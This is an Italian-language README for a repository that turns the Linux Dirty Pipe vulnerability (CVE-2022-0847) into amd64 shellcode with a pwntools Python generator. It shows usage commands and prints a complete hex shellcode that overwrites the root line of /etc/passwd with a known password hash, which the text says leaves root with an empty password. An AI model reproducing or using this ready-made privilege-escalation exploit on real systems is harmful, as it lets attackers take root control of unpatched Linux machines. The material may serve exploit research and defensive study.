
Implementazione di CVE-2022-0847 come shellcode
Questo repository contiene uno script Python (gen_shellcode.py), basato su pwntools, per generare uno shellcode che implementa CVE-2022-0847.
Lo shellcode è basato su questo Poc: antx.
Ho analizzato il codice del PoC e la sua esecuzione con strace per individuare tutte le system call necessarie a realizzare l'exploit, e inizialmente ho scritto un programma C che usa syscall.h; non era ancora adatto a uno shellcode, ma è utile come riferimento, quindi l'ho incluso qui (tiny_cve-2022-0847.c).
La funzione che genera lo shellcode accetta 3 parametri: percorso del file su cui scrivere, dati da scrivere e offset in corrispondenza del quale i dati devono essere scritti.
Un esempio di shellcode generato, in formato disassemblato da objdump, si trova in shellcode.asm; è stato generato con i seguenti parametri:
/etc/passwd:$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n4Lascia la root con una password vuota.
$ python gen_shellcode.py
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]
Puoi importare la funzione cve_2022_0847, che genera lo shellcode, per richiamarla in altri script, oppure usare direttamente questo script; c'è una funzione example_usage che chiama cve_2022_0847 e crea un ELF con lo shellcode.
La funzione cve_2022_0847 esegue anche alcuni controlli di base, e stampa cosa può andare storto con l'exploit e lo shellcode disassemblato se il parametro verbose è impostato.
Restituisce lo shellcode assemblato. La funzione main chiama cve_2022_0847 con i parametri della riga di comando e stampa lo shellcode risultante in esadecimale in stile C, cioè senza decodificare i byte stampabili. Per esempio:
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05
L'architettura supportata è solo amd64.